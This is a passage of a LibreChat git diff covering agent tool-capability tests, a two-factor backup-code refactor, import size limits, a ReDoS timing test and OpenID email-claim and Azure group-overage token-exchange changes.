+ hasDeferredTools: false,
+ });
+ mockLoadToolsUtil.mockResolvedValue({ loadedTools: [], toolContextMap: {} });
+ mockLoadActionSets.mockResolvedValue([]);
+ });
+
+ describe('resolveAgentCapabilities', () => {
+ it('should return capabilities from endpoints config', async () => {
+ const capabilities = [AgentCapabilities.tools, AgentCapabilities.actions];
+ const req = createMockReq(capabilities);
+ mockGetEndpointsConfig.mockResolvedValue(createEndpointsConfig(capabilities));
+
+ const result = await resolveAgentCapabilities(req, req.config, 'agent_123');
+
+ expect(result).toBeInstanceOf(Set);
+ expect(result.has(AgentCapabilities.tools)).toBe(true);
+ expect(result.has(AgentCapabilities.actions)).toBe(true);
+ expect(result.has(AgentCapabilities.web_search)).toBe(false);
+ });
+
+ it('should fall back to default capabilities for ephemeral agents with empty config', async () => {
+ const req = createMockReq(defaultAgentCapabilities);
+ mockGetEndpointsConfig.mockResolvedValue({});
+
+ const result = await resolveAgentCapabilities(req, req.config, Constants.EPHEMERAL_AGENT_ID);
+
+ for (const cap of defaultAgentCapabilities) {
+ expect(result.has(cap)).toBe(true);
+ }
+ });
+
+ it('should return empty set when no capabilities and not ephemeral', async () => {
+ const req = createMockReq([]);
+ mockGetEndpointsConfig.mockResolvedValue({});
+
+ const result = await resolveAgentCapabilities(req, req.config, 'agent_123');
+
+ expect(result.size).toBe(0);
+ });
+ });
+
+ describe('loadAgentTools (definitionsOnly=true) — action tool filtering', () => {
+ const actionToolName = `get_weather${actionDelimiter}api_example_com`;
+ const regularTool = 'calculator';
+
+ it('should exclude action tools from definitions when actions capability is disabled', async () => {
+ const capabilities = [AgentCapabilities.tools, AgentCapabilities.web_search];
+ const req = createMockReq(capabilities);
+ mockGetEndpointsConfig.mockResolvedValue(createEndpointsConfig(capabilities));
+
+ await loadAgentTools({
+ req,
+ res: {},
+ agent: { id: 'agent_123', tools: [regularTool, actionToolName] },
+ definitionsOnly: true,
+ });
+
+ expect(mockLoadToolDefinitions).toHaveBeenCalledTimes(1);
+ const [callArgs] = mockLoadToolDefinitions.mock.calls[0];
+ expect(callArgs.tools).toContain(regularTool);
+ expect(callArgs.tools).not.toContain(actionToolName);
+ });
+
+ it('should include action tools in definitions when actions capability is enabled', async () => {
+ const capabilities = [AgentCapabilities.tools, AgentCapabilities.actions];
+ const req = createMockReq(capabilities);
+ mockGetEndpointsConfig.mockResolvedValue(createEndpointsConfig(capabilities));
+
+ await loadAgentTools({
+ req,
+ res: {},
+ agent: { id: 'agent_123', tools: [regularTool, actionToolName] },
+ definitionsOnly: true,
+ });
+
+ expect(mockLoadToolDefinitions).toHaveBeenCalledTimes(1);
+ const [callArgs] = mockLoadToolDefinitions.mock.calls[0];
+ expect(callArgs.tools).toContain(regularTool);
+ expect(callArgs.tools).toContain(actionToolName);
+ });
+
+ it('should return actionsEnabled in the result', async () => {
+ const capabilities = [AgentCapabilities.tools];
+ const req = createMockReq(capabilities);
+ mockGetEndpointsConfig.mockResolvedValue(createEndpointsConfig(capabilities));
+
+ const result = await loadAgentTools({
+ req,
+ res: {},
+ agent: { id: 'agent_123', tools: [regularTool] },
+ definitionsOnly: true,
+ });
+
+ expect(result.actionsEnabled).toBe(false);
+ });
+ });
+
+ describe('loadAgentTools (definitionsOnly=false) — action tool filtering', () => {
+ const actionToolName = `get_weather${actionDelimiter}api_example_com`;
+ const regularTool = 'calculator';
+
+ it('should not load action sets when actions capability is disabled', async () => {
+ const capabilities = [AgentCapabilities.tools, AgentCapabilities.web_search];
+ const req = createMockReq(capabilities);
+ mockGetEndpointsConfig.mockResolvedValue(createEndpointsConfig(capabilities));
+
+ await loadAgentTools({
+ req,
+ res: {},
+ agent: { id: 'agent_123', tools: [regularTool, actionToolName] },
+ definitionsOnly: false,
+ });
+
+ expect(mockLoadActionSets).not.toHaveBeenCalled();
+ });
+
+ it('should load action sets when actions capability is enabled and action tools present', async () => {
+ const capabilities = [AgentCapabilities.tools, AgentCapabilities.actions];
+ const req = createMockReq(capabilities);
+ mockGetEndpointsConfig.mockResolvedValue(createEndpointsConfig(capabilities));
+
+ await loadAgentTools({
+ req,
+ res: {},
+ agent: { id: 'agent_123', tools: [regularTool, actionToolName] },
+ definitionsOnly: false,
+ });
+
+ expect(mockLoadActionSets).toHaveBeenCalledWith({ agent_id: 'agent_123' });
+ });
+ });
+
+ describe('loadToolsForExecution — action tool gating', () => {
+ const actionToolName = `get_weather${actionDelimiter}api_example_com`;
+ const regularTool = Tools.web_search;
+
+ it('should skip action tool loading when actionsEnabled=false', async () => {
+ const req = createMockReq([]);
+ req.config = {};
+
+ const result = await loadToolsForExecution({
+ req,
+ res: {},
+ agent: { id: 'agent_123' },
+ toolNames: [regularTool, actionToolName],
+ actionsEnabled: false,
+ });
+
+ expect(mockLoadActionSets).not.toHaveBeenCalled();
+ expect(result.loadedTools).toBeDefined();
+ });
+
+ it('should load action tools when actionsEnabled=true', async () => {
+ const req = createMockReq([AgentCapabilities.actions]);
+ req.config = {};
+
+ await loadToolsForExecution({
+ req,
+ res: {},
+ agent: { id: 'agent_123' },
+ toolNames: [actionToolName],
+ actionsEnabled: true,
+ });
+
+ expect(mockLoadActionSets).toHaveBeenCalledWith({ agent_id: 'agent_123' });
+ });
+
+ it('should resolve actionsEnabled from capabilities when not explicitly provided', async () => {
+ const capabilities = [AgentCapabilities.tools];
+ const req = createMockReq(capabilities);
+ mockGetEndpointsConfig.mockResolvedValue(createEndpointsConfig(capabilities));
+
+ await loadToolsForExecution({
+ req,
+ res: {},
+ agent: { id: 'agent_123' },
+ toolNames: [actionToolName],
+ });
+
+ expect(mockGetEndpointsConfig).toHaveBeenCalled();
+ expect(mockLoadActionSets).not.toHaveBeenCalled();
+ });
+
+ it('should not call loadActionSets when there are no action tools', async () => {
+ const req = createMockReq([AgentCapabilities.actions]);
+ req.config = {};
+
+ await loadToolsForExecution({
+ req,
+ res: {},
+ agent: { id: 'agent_123' },
+ toolNames: [regularTool],
+ actionsEnabled: true,
+ });
+
+ expect(mockLoadActionSets).not.toHaveBeenCalled();
+ });
+ });
-/**
- * Tests for ToolService capability checking logic.
- * The actual loadAgentTools function has many dependencies, so we test
- * the capability checking logic in isolation.
- */
-describe('ToolService - Capability Checking', () => {
describe('checkCapability logic', () => {
- /**
- * Simulates the checkCapability function from loadAgentTools
- */
const createCheckCapability = (enabledCapabilities, logger = { warn: jest.fn() }) => {
return (capability) => {
const enabled = enabledCapabilities.has(capability);
@@ -119,26 +408,68 @@ describe('ToolService - Capability Checking', () => {
});
});
+ describe('userMCPAuthMap gating', () => {
+ const shouldFetchMCPAuth = (tools) =>
+ tools?.some((t) => t.includes(Constants.mcp_delimiter)) ?? false;
+
+ it('should return true when agent has MCP tools', () => {
+ const tools = ['web_search', `search${Constants.mcp_delimiter}my-mcp-server`, 'calculator'];
+ expect(shouldFetchMCPAuth(tools)).toBe(true);
+ });
+
+ it('should return false when agent has no MCP tools', () => {
+ const tools = ['web_search', 'calculator', 'code_interpreter'];
+ expect(shouldFetchMCPAuth(tools)).toBe(false);
+ });
+
+ it('should return false when tools is empty', () => {
+ expect(shouldFetchMCPAuth([])).toBe(false);
+ });
+
+ it('should return false when tools is undefined', () => {
+ expect(shouldFetchMCPAuth(undefined)).toBe(false);
+ });
+
+ it('should return false when tools is null', () => {
+ expect(shouldFetchMCPAuth(null)).toBe(false);
+ });
+
+ it('should detect MCP tools with different server names', () => {
+ const tools = [
+ `listFiles${Constants.mcp_delimiter}file-server`,
+ `query${Constants.mcp_delimiter}db-server`,
+ ];
+ expect(shouldFetchMCPAuth(tools)).toBe(true);
+ });
+
+ it('should return true even when only one tool is MCP', () => {
+ const tools = [
+ 'web_search',
+ 'calculator',
+ 'code_interpreter',
+ `echo${Constants.mcp_delimiter}test-server`,
+ ];
+ expect(shouldFetchMCPAuth(tools)).toBe(true);
+ });
+ });
+
describe('deferredToolsEnabled integration', () => {
it('should correctly determine deferredToolsEnabled from capabilities set', () => {
const createCheckCapability = (enabledCapabilities) => {
return (capability) => enabledCapabilities.has(capability);
};
- // When deferred_tools is in capabilities
const withDeferred = new Set([AgentCapabilities.deferred_tools, AgentCapabilities.tools]);
const checkWithDeferred = createCheckCapability(withDeferred);
expect(checkWithDeferred(AgentCapabilities.deferred_tools)).toBe(true);
- // When deferred_tools is NOT in capabilities
const withoutDeferred = new Set([AgentCapabilities.tools, AgentCapabilities.actions]);
const checkWithoutDeferred = createCheckCapability(withoutDeferred);
expect(checkWithoutDeferred(AgentCapabilities.deferred_tools)).toBe(false);
});
it('should use defaultAgentCapabilities when no capabilities configured', () => {
- // Simulates the fallback behavior in loadAgentTools
- const endpointsConfig = {}; // No capabilities configured
+ const endpointsConfig = {};
const enabledCapabilities = new Set(
endpointsConfig?.capabilities ?? defaultAgentCapabilities,
);
diff --git a/api/server/services/twoFactorService.js b/api/server/services/twoFactorService.js
index cce24e2322..313c557133 100644
--- a/api/server/services/twoFactorService.js
+++ b/api/server/services/twoFactorService.js
@@ -153,9 +153,11 @@ const generateBackupCodes = async (count = 10) => {
* @param {Object} params
* @param {Object} params.user
* @param {string} params.backupCode
+ * @param {boolean} [params.persist=true] - Whether to persist the used-mark to the database.
+ * Pass `false` when the caller will immediately overwrite `backupCodes` (e.g. re-enrollment).
* @returns {Promise}
*/
-const verifyBackupCode = async ({ user, backupCode }) => {
+const verifyBackupCode = async ({ user, backupCode, persist = true }) => {
if (!backupCode || !user || !Array.isArray(user.backupCodes)) {
return false;
}
@@ -165,17 +167,50 @@ const verifyBackupCode = async ({ user, backupCode }) => {
(codeObj) => codeObj.codeHash === hashedInput && !codeObj.used,
);
- if (matchingCode) {
+ if (!matchingCode) {
+ return false;
+ }
+
+ if (persist) {
const updatedBackupCodes = user.backupCodes.map((codeObj) =>
codeObj.codeHash === hashedInput && !codeObj.used
? { ...codeObj, used: true, usedAt: new Date() }
: codeObj,
);
- // Update the user record with the marked backup code.
await updateUser(user._id, { backupCodes: updatedBackupCodes });
- return true;
}
- return false;
+ return true;
+};
+
+/**
+ * Verifies a user's identity via TOTP token or backup code.
+ * @param {Object} params
+ * @param {Object} params.user - The user document (must include totpSecret and backupCodes).
+ * @param {string} [params.token] - A 6-digit TOTP token.
+ * @param {string} [params.backupCode] - An 8-character backup code.
+ * @param {boolean} [params.persistBackupUse=true] - Whether to mark the backup code as used in the DB.
+ * @returns {Promise<{ verified: boolean, status?: number, message?: string }>}
+ */
+const verifyOTPOrBackupCode = async ({ user, token, backupCode, persistBackupUse = true }) => {
+ if (!token && !backupCode) {
+ return { verified: false, status: 400 };
+ }
+
+ if (token) {
+ const secret = await getTOTPSecret(user.totpSecret);
+ if (!secret) {
+ return { verified: false, status: 400, message: '2FA secret is missing or corrupted' };
+ }
+ const ok = await verifyTOTP(secret, token);
+ return ok
+ ? { verified: true }
+ : { verified: false, status: 401, message: 'Invalid token or backup code' };
+ }
+
+ const ok = await verifyBackupCode({ user, backupCode, persist: persistBackupUse });
+ return ok
+ ? { verified: true }
+ : { verified: false, status: 401, message: 'Invalid token or backup code' };
};
/**
@@ -213,11 +248,12 @@ const generate2FATempToken = (userId) => {
};
module.exports = {
- generateTOTPSecret,
- generateTOTP,
- verifyTOTP,
+ verifyOTPOrBackupCode,
+ generate2FATempToken,
generateBackupCodes,
+ generateTOTPSecret,
verifyBackupCode,
getTOTPSecret,
- generate2FATempToken,
+ generateTOTP,
+ verifyTOTP,
};
diff --git a/api/server/utils/import/fork.js b/api/server/utils/import/fork.js
index c4ce8cb5d4..f896de378c 100644
--- a/api/server/utils/import/fork.js
+++ b/api/server/utils/import/fork.js
@@ -358,16 +358,15 @@ function splitAtTargetLevel(messages, targetMessageId) {
* @param {object} params - The parameters for duplicating the conversation.
* @param {string} params.userId - The ID of the user duplicating the conversation.
* @param {string} params.conversationId - The ID of the conversation to duplicate.
+ * @param {string} [params.title] - Optional title override for the duplicate.
* @returns {Promise<{ conversation: TConversation, messages: TMessage[] }>} The duplicated conversation and messages.
*/
-async function duplicateConversation({ userId, conversationId }) {
- // Get original conversation
+async function duplicateConversation({ userId, conversationId, title }) {
const originalConvo = await getConvo(userId, conversationId);
if (!originalConvo) {
throw new Error('Conversation not found');
}
- // Get original messages
const originalMessages = await getMessages({
user: userId,
conversationId,
@@ -383,14 +382,11 @@ async function duplicateConversation({ userId, conversationId }) {
cloneMessagesWithTimestamps(messagesToClone, importBatchBuilder);
- const result = importBatchBuilder.finishConversation(
- originalConvo.title,
- new Date(),
- originalConvo,
- );
+ const duplicateTitle = title || originalConvo.title;
+ const result = importBatchBuilder.finishConversation(duplicateTitle, new Date(), originalConvo);
await importBatchBuilder.saveBatch();
logger.debug(
- `user: ${userId} | New conversation "${originalConvo.title}" duplicated from conversation ID ${conversationId}`,
+ `user: ${userId} | New conversation "${duplicateTitle}" duplicated from conversation ID ${conversationId}`,
);
const conversation = await getConvo(userId, result.conversation.conversationId);
diff --git a/api/server/utils/import/importConversations.js b/api/server/utils/import/importConversations.js
index d9e4d4332d..e56176c609 100644
--- a/api/server/utils/import/importConversations.js
+++ b/api/server/utils/import/importConversations.js
@@ -1,7 +1,10 @@
const fs = require('fs').promises;
+const { resolveImportMaxFileSize } = require('@librechat/api');
const { logger } = require('@librechat/data-schemas');
const { getImporter } = require('./importers');
+const maxFileSize = resolveImportMaxFileSize();
+
/**
* Job definition for importing a conversation.
* @param {{ filepath, requestUserId }} job - The job object.
@@ -11,11 +14,10 @@ const importConversations = async (job) => {
try {
logger.debug(`user: ${requestUserId} | Importing conversation(s) from file...`);
- /* error if file is too large */
const fileInfo = await fs.stat(filepath);
- if (fileInfo.size > process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES) {
+ if (fileInfo.size > maxFileSize) {
throw new Error(
- `File size is ${fileInfo.size} bytes. It exceeds the maximum limit of ${process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES} bytes.`,
+ `File size is ${fileInfo.size} bytes. It exceeds the maximum limit of ${maxFileSize} bytes.`,
);
}
diff --git a/api/server/utils/import/importers.spec.js b/api/server/utils/import/importers.spec.js
index a695a31555..2ddfa76658 100644
--- a/api/server/utils/import/importers.spec.js
+++ b/api/server/utils/import/importers.spec.js
@@ -1277,12 +1277,9 @@ describe('processAssistantMessage', () => {
results.push(duration);
});
- // Check if processing time increases exponentially
- // In a ReDoS vulnerability, time would roughly double with each size increase
- for (let i = 1; i < results.length; i++) {
- const ratio = results[i] / results[i - 1];
- expect(ratio).toBeLessThan(3); // Allow for CI environment variability while still catching ReDoS
- console.log(`Size ${sizes[i]} processing time ratio: ${ratio}`);
+ // Each size should complete well under 100ms; a ReDoS would cause exponential blowup
+ for (let i = 0; i < results.length; i++) {
+ expect(results[i]).toBeLessThan(100);
}
// Also test with the exact payload from the security report
diff --git a/api/strategies/index.js b/api/strategies/index.js
index b4f7bd3cac..9a1c58ad38 100644
--- a/api/strategies/index.js
+++ b/api/strategies/index.js
@@ -1,4 +1,4 @@
-const { setupOpenId, getOpenIdConfig } = require('./openidStrategy');
+const { setupOpenId, getOpenIdConfig, getOpenIdEmail } = require('./openidStrategy');
const openIdJwtLogin = require('./openIdJwtStrategy');
const facebookLogin = require('./facebookStrategy');
const discordLogin = require('./discordStrategy');
@@ -20,6 +20,7 @@ module.exports = {
facebookLogin,
setupOpenId,
getOpenIdConfig,
+ getOpenIdEmail,
ldapLogin,
setupSaml,
openIdJwtLogin,
diff --git a/api/strategies/openIdJwtStrategy.js b/api/strategies/openIdJwtStrategy.js
index 997dcec397..83a40bf948 100644
--- a/api/strategies/openIdJwtStrategy.js
+++ b/api/strategies/openIdJwtStrategy.js
@@ -5,6 +5,7 @@ const { HttpsProxyAgent } = require('https-proxy-agent');
const { SystemRoles } = require('librechat-data-provider');
const { isEnabled, findOpenIDUser, math } = require('@librechat/api');
const { Strategy: JwtStrategy, ExtractJwt } = require('passport-jwt');
+const { getOpenIdEmail } = require('./openidStrategy');
const { updateUser, findUser } = require('~/models');
/**
@@ -53,7 +54,7 @@ const openIdJwtLogin = (openIdConfig) => {
const { user, error, migration } = await findOpenIDUser({
findUser,
- email: payload?.email,
+ email: payload ? getOpenIdEmail(payload) : undefined,
openidId: payload?.sub,
idOnTheSource: payload?.oid,
strategyName: 'openIdJwtLogin',
diff --git a/api/strategies/openIdJwtStrategy.spec.js b/api/strategies/openIdJwtStrategy.spec.js
index 566afe5a90..79af848046 100644
--- a/api/strategies/openIdJwtStrategy.spec.js
+++ b/api/strategies/openIdJwtStrategy.spec.js
@@ -29,10 +29,21 @@ jest.mock('~/models', () => ({
findUser: jest.fn(),
updateUser: jest.fn(),
}));
+jest.mock('~/server/services/Files/strategies', () => ({
+ getStrategyFunctions: jest.fn(() => ({
+ saveBuffer: jest.fn().mockResolvedValue('/fake/path/to/avatar.png'),
+ })),
+}));
+jest.mock('~/server/services/Config', () => ({
+ getAppConfig: jest.fn().mockResolvedValue({}),
+}));
+jest.mock('~/cache/getLogStores', () =>
+ jest.fn().mockReturnValue({ get: jest.fn(), set: jest.fn() }),
+);
const { findOpenIDUser } = require('@librechat/api');
-const { updateUser } = require('~/models');
const openIdJwtLogin = require('./openIdJwtStrategy');
+const { findUser, updateUser } = require('~/models');
// Helper: build a mock openIdConfig
const mockOpenIdConfig = {
@@ -181,3 +192,156 @@ describe('openIdJwtStrategy – token source handling', () => {
expect(user.federatedTokens.access_token).not.toBe(user.federatedTokens.id_token);
});
});
+
+describe('openIdJwtStrategy – OPENID_EMAIL_CLAIM', () => {
+ const payload = {
+ sub: 'oidc-123',
+ email: 'test@example.com',
+ preferred_username: 'testuser',
+ upn: 'test@corp.example.com',
+ exp: 9999999999,
+ };
+
+ beforeEach(() => {
+ jest.clearAllMocks();
+ delete process.env.OPENID_EMAIL_CLAIM;
+
+ // Use real findOpenIDUser so it delegates to the findUser mock
+ const realFindOpenIDUser = jest.requireActual('@librechat/api').findOpenIDUser;
+ findOpenIDUser.mockImplementation(realFindOpenIDUser);
+
+ findUser.mockResolvedValue(null);
+ updateUser.mockResolvedValue({});
+
+ openIdJwtLogin(mockOpenIdConfig);
+ });
+
+ afterEach(() => {
+ delete process.env.OPENID_EMAIL_CLAIM;
+ });
+
+ it('should use the default email when OPENID_EMAIL_CLAIM is not set', async () => {
+ const existingUser = {
+ _id: 'user-id-1',
+ provider: 'openid',
+ openidId: payload.sub,
+ email: payload.email,
+ role: SystemRoles.USER,
+ };
+ findUser.mockImplementation(async (query) => {
+ if (query.$or && query.$or.some((c) => c.openidId === payload.sub)) {
+ return existingUser;
+ }
+ return null;
+ });
+
+ const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+ await invokeVerify(req, payload);
+
+ expect(findUser).toHaveBeenCalledWith(
+ expect.objectContaining({
+ $or: expect.arrayContaining([{ openidId: payload.sub }]),
+ }),
+ );
+ });
+
+ it('should use OPENID_EMAIL_CLAIM when set for email lookup', async () => {
+ process.env.OPENID_EMAIL_CLAIM = 'upn';
+ findUser.mockResolvedValue(null);
+
+ const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+ const { user } = await invokeVerify(req, payload);
+
+ expect(findUser).toHaveBeenCalledTimes(2);
+ expect(findUser.mock.calls[0][0]).toMatchObject({
+ $or: expect.arrayContaining([{ openidId: payload.sub }]),
+ });
+ expect(findUser.mock.calls[1][0]).toEqual({ email: 'test@corp.example.com' });
+ expect(user).toBe(false);
+ });
+
+ it('should fall back to default chain when OPENID_EMAIL_CLAIM points to missing claim', async () => {
+ process.env.OPENID_EMAIL_CLAIM = 'nonexistent_claim';
+ findUser.mockResolvedValue(null);
+
+ const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+ const { user } = await invokeVerify(req, payload);
+
+ expect(findUser).toHaveBeenCalledWith({ email: payload.email });
+ expect(user).toBe(false);
+ });
+
+ it('should trim whitespace from OPENID_EMAIL_CLAIM', async () => {
+ process.env.OPENID_EMAIL_CLAIM = ' upn ';
+ findUser.mockResolvedValue(null);
+
+ const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+ await invokeVerify(req, payload);
+
+ expect(findUser).toHaveBeenCalledWith({ email: 'test@corp.example.com' });
+ });
+
+ it('should ignore empty string OPENID_EMAIL_CLAIM and use default fallback', async () => {
+ process.env.OPENID_EMAIL_CLAIM = '';
+ findUser.mockResolvedValue(null);
+
+ const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+ await invokeVerify(req, payload);
+
+ expect(findUser).toHaveBeenCalledWith({ email: payload.email });
+ });
+
+ it('should ignore whitespace-only OPENID_EMAIL_CLAIM and use default fallback', async () => {
+ process.env.OPENID_EMAIL_CLAIM = ' ';
+ findUser.mockResolvedValue(null);
+
+ const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+ await invokeVerify(req, payload);
+
+ expect(findUser).toHaveBeenCalledWith({ email: payload.email });
+ });
+
+ it('should resolve undefined email when payload is null', async () => {
+ const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+ const { user } = await invokeVerify(req, null);
+
+ expect(user).toBe(false);
+ });
+
+ it('should attempt email lookup via preferred_username fallback when email claim is absent', async () => {
+ const payloadNoEmail = {
+ sub: 'oidc-new-sub',
+ preferred_username: 'legacy@corp.com',
+ upn: 'legacy@corp.com',
+ exp: 9999999999,
+ };
+
+ const legacyUser = {
+ _id: 'legacy-db-id',
+ email: 'legacy@corp.com',
+ openidId: null,
+ role: SystemRoles.USER,
+ };
+
+ findUser.mockImplementation(async (query) => {
+ if (query.$or) {
+ return null;
+ }
+ if (query.email === 'legacy@corp.com') {
+ return legacyUser;
+ }
+ return null;
+ });
+
+ const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+ const { user } = await invokeVerify(req, payloadNoEmail);
+
+ expect(findUser).toHaveBeenCalledTimes(2);
+ expect(findUser.mock.calls[1][0]).toEqual({ email: 'legacy@corp.com' });
+ expect(user).toBeTruthy();
+ expect(updateUser).toHaveBeenCalledWith(
+ 'legacy-db-id',
+ expect.objectContaining({ provider: 'openid', openidId: payloadNoEmail.sub }),
+ );
+ });
+});
diff --git a/api/strategies/openidStrategy.js b/api/strategies/openidStrategy.js
index 198c8735ae..7c43358297 100644
--- a/api/strategies/openidStrategy.js
+++ b/api/strategies/openidStrategy.js
@@ -267,6 +267,34 @@ function getFullName(userinfo) {
return userinfo.username || userinfo.email;
}
+/**
+ * Resolves the user identifier from OpenID claims.
+ * Configurable via OPENID_EMAIL_CLAIM; defaults to: email -> preferred_username -> upn.
+ *
+ * @param {Object} userinfo - The user information object from OpenID Connect
+ * @returns {string|undefined} The resolved identifier string
+ */
+function getOpenIdEmail(userinfo) {
+ const claimKey = process.env.OPENID_EMAIL_CLAIM?.trim();
+ if (claimKey) {
+ const value = userinfo[claimKey];
+ if (typeof value === 'string' && value) {
+ return value;
+ }
+ if (value !== undefined && value !== null) {
+ logger.warn(
+ `[openidStrategy] OPENID_EMAIL_CLAIM="${claimKey}" resolved to a non-string value (type: ${typeof value}). Falling back to: email -> preferred_username -> upn.`,
+ );
+ } else {
+ logger.warn(
+ `[openidStrategy] OPENID_EMAIL_CLAIM="${claimKey}" not present in userinfo. Falling back to: email -> preferred_username -> upn.`,
+ );
+ }
+ }
+ const fallback = userinfo.email || userinfo.preferred_username || userinfo.upn;
+ return typeof fallback === 'string' ? fallback : undefined;
+}
+
/**
* Converts an input into a string suitable for a username.
* If the input is a string, it will be returned as is.
@@ -287,24 +315,85 @@ function convertToUsername(input, defaultValue = '') {
return defaultValue;
}
+/**
+ * Exchange the access token for a Graph-scoped token using the On-Behalf-Of (OBO) flow.
+ *
+ * The original access token has the app's own audience (api://), which Microsoft Graph
+ * rejects. This exchange produces a token with audience https://graph.microsoft.com and the
+ * minimum delegated scope (User.Read) required by /me/getMemberObjects.
+ *
+ * Uses a dedicated cache key (`${sub}:overage`) to avoid collisions with other OBO exchanges
+ * in the codebase (userinfo, Graph principal search).
+ *
+ * @param {string} accessToken - The original access token from the OpenID tokenset
+ * @param {string} sub - The subject identifier for cache keying
+ * @returns {Promise} A Graph-scoped access token
+ * @see https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-on-behalf-of-flow
+ */
+async function exchangeTokenForOverage(accessToken, sub) {
+ if (!openidConfig) {
+ throw new Error('[openidStrategy] OpenID config not initialized; cannot exchange OBO token');
+ }
+
+ const tokensCache = getLogStores(CacheKeys.OPENID_EXCHANGED_TOKENS);
+ const cacheKey = `${sub}:overage`;
+
+ const cached = await tokensCache.get(cacheKey);
+ if (cached?.access_token) {
+ logger.debug('[openidStrategy] Using cached Graph token for overage resolution');
+ return cached.access_token;
+ }
+
+ const grantResponse = await client.genericGrantRequest(
+ openidConfig,
+ 'urn:ietf:params:oauth:grant-type:jwt-bearer',
+ {
+ scope: 'https://graph.microsoft.com/User.Read',
+ assertion: accessToken,
+ requested_token_use: 'on_behalf_of',
+ },
+ );
+
+ if (!grantResponse.access_token) {
+ throw new Error(
+ '[openidStrategy] OBO exchange succeeded but returned no access_token; cannot call Graph API',
+ );
+ }
+
+ const ttlMs =
+ Number.isFinite(grantResponse.expires_in) && grantResponse.expires_in > 0
+ ? grantResponse.expires_in * 1000
+ : 3600 * 1000;
+
+ await tokensCache.set(cacheKey, { access_token: grantResponse.access_token }, ttlMs);
+
+ return grantResponse.access_token;
+}
+
/**
* Resolve Azure AD groups when group overage is in effect (groups moved to _claim_names/_claim_sources).
*
* NOTE: Microsoft recommends treating _claim_names/_claim_sources as a signal only and using Microsoft Graph
* to resolve group membership instead of calling the endpoint in _claim_sources directly.
*
- * @param {string} accessToken - Access token with Microsoft Graph permissions
+ * Before calling Graph, the access token is exchanged via the OBO flow to obtain a token with the
+ * correct audience (https://graph.microsoft.com) and User.Read scope.
+ *
+ * @param {string} accessToken - Access token from the OpenID tokenset (app audience)
+ * @param {string} sub - The subject identifier of the user (for OBO exchange and cache keying)
* @returns {Promise} Resolved group IDs or null on failure
* @see https://learn.microsoft.com/en-us/entra/identity-platform/access-token-claims-reference#groups-overage-claim
* @see https://learn.microsoft.com/en-us/graph/api/directoryobject-getmemberobjects
*/
-async function resolveGroupsFromOverage(accessToken) {
+async function resolveGroupsFromOverage(accessToken, sub) {
try {
if (!accessToken) {
logger.error('[openidStrategy] Access token missing; cannot resolve group overage');
return null;
}
+ const graphToken = await exchangeTokenForOverage(accessToken, sub);
+
// Use /me/getMemberObjects so least-privileged delegated permission User.Read is sufficient
// when resolving the signed-in user's group membership.
const url = 'https://graph.microsoft.com/v1.0/me/getMemberObjects';
@@ -316,7 +405,7 @@ async function resolveGroupsFromOverage(accessToken) {
const fetchOptions = {
method: 'POST',
headers: {
- Authorization: `Bearer ${accessToken}`,
+ Authorization: `Bearer ${graphToken}`,
'Content-Type': 'application/json',
},
body: JSON.stringify({ securityEnabledOnly: false }),
@@ -336,6 +425,7 @@ async function resolveGroupsFromOverage(accessToken) {
}
const data = await response.json();
+
const values = Array.isArray(data?.value) ? data.value : null;
if (!values) {
logger.error(
@@ -379,11 +469,10 @@ async function processOpenIDAuth(tokenset, existingUsersOnly = false) {
}
const appConfig = await getAppConfig();
- /** Azure AD sometimes doesn't return email, use preferred_username as fallback */
- const email = userinfo.email || userinfo.preferred_username || userinfo.upn;
+ const email = getOpenIdEmail(userinfo);
if (!isEmailDomainAllowed(email, appConfig?.registration?.allowedDomains)) {
logger.error(
- `[OpenID Strategy] Authentication blocked - email domain not allowed [Email: ${userinfo.email}]`,
+ `[OpenID Strategy] Authentication blocked - email domain not allowed [Identifier: ${email}]`,
);
throw new Error('Email domain not allowed');
}
@@ -405,6 +494,8 @@ async function processOpenIDAuth(tokenset, existingUsersOnly = false) {
const fullName = getFullName(userinfo);
const requiredRole = process.env.OPENID_REQUIRED_ROLE;
+ let resolvedOverageGroups = null;
+
if (requiredRole) {
const requiredRoles = requiredRole
.split(',')
@@ -424,19 +515,21 @@ async function processOpenIDAuth(tokenset, existingUsersOnly = false) {
// Handle Azure AD group overage for ID token groups: when hasgroups or _claim_* indicate overage,
// resolve groups via Microsoft Graph instead of relying on token group values.
+ const hasOverage =
+ decodedToken?.hasgroups ||
+ (decodedToken?._claim_names?.groups &&
+ decodedToken?._claim_sources?.[decodedToken._claim_names.groups]);
+
if (
- !Array.isArray(roles) &&
- typeof roles !== 'string' &&
requiredRoleTokenKind === 'id' &&
requiredRoleParameterPath === 'groups' &&
decodedToken &&
- (decodedToken.hasgroups ||
- (decodedToken._claim_names?.groups &&
- decodedToken._claim_sources?.[decodedToken._claim_names.groups]))
+ hasOverage
) {
- const overageGroups = await resolveGroupsFromOverage(tokenset.access_token);
+ const overageGroups = await resolveGroupsFromOverage(tokenset.access_token, claims.sub);
if (overageGroups) {
roles = overageGroups;
+ resolvedOverageGroups = overageGroups;
}
}
@@ -451,7 +544,7 @@ async function processOpenIDAuth(tokenset, existingUsersOnly = false) {
throw new Error(`You must have ${rolesList} role to log in.`);
}
- const roleValues = Array.isArray(roles) ? roles : [roles];
+ const roleValues = Array.isArray(roles) ? roles : roles.split(/[\s,]+/).filter(Boolean);
if (!requiredRoles.some((role) => roleValues.includes(role))) {
const rolesList =
@@ -523,14 +616,33 @@ async function processOpenIDAuth(tokenset, existingUsersOnly = false) {
throw new Error('Invalid admin role token kind');
}
- const adminRoles = get(adminRoleObject, adminRoleParameterPath);
+ let adminRoles = get(adminRoleObject, adminRoleParameterPath);
- if (
- adminRoles &&
- (adminRoles === true ||
- adminRoles === adminRole ||
- (Array.isArray(adminRoles) && adminRoles.includes(adminRole)))
- ) {
+ // Handle Azure AD group overage for admin role when using ID token groups
+ if (adminRoleTokenKind === 'id' && adminRoleParameterPath === 'groups' && adminRoleObject) {
+ const hasAdminOverage =
+ adminRoleObject.hasgroups ||
+ (adminRoleObject._claim_names?.groups &&
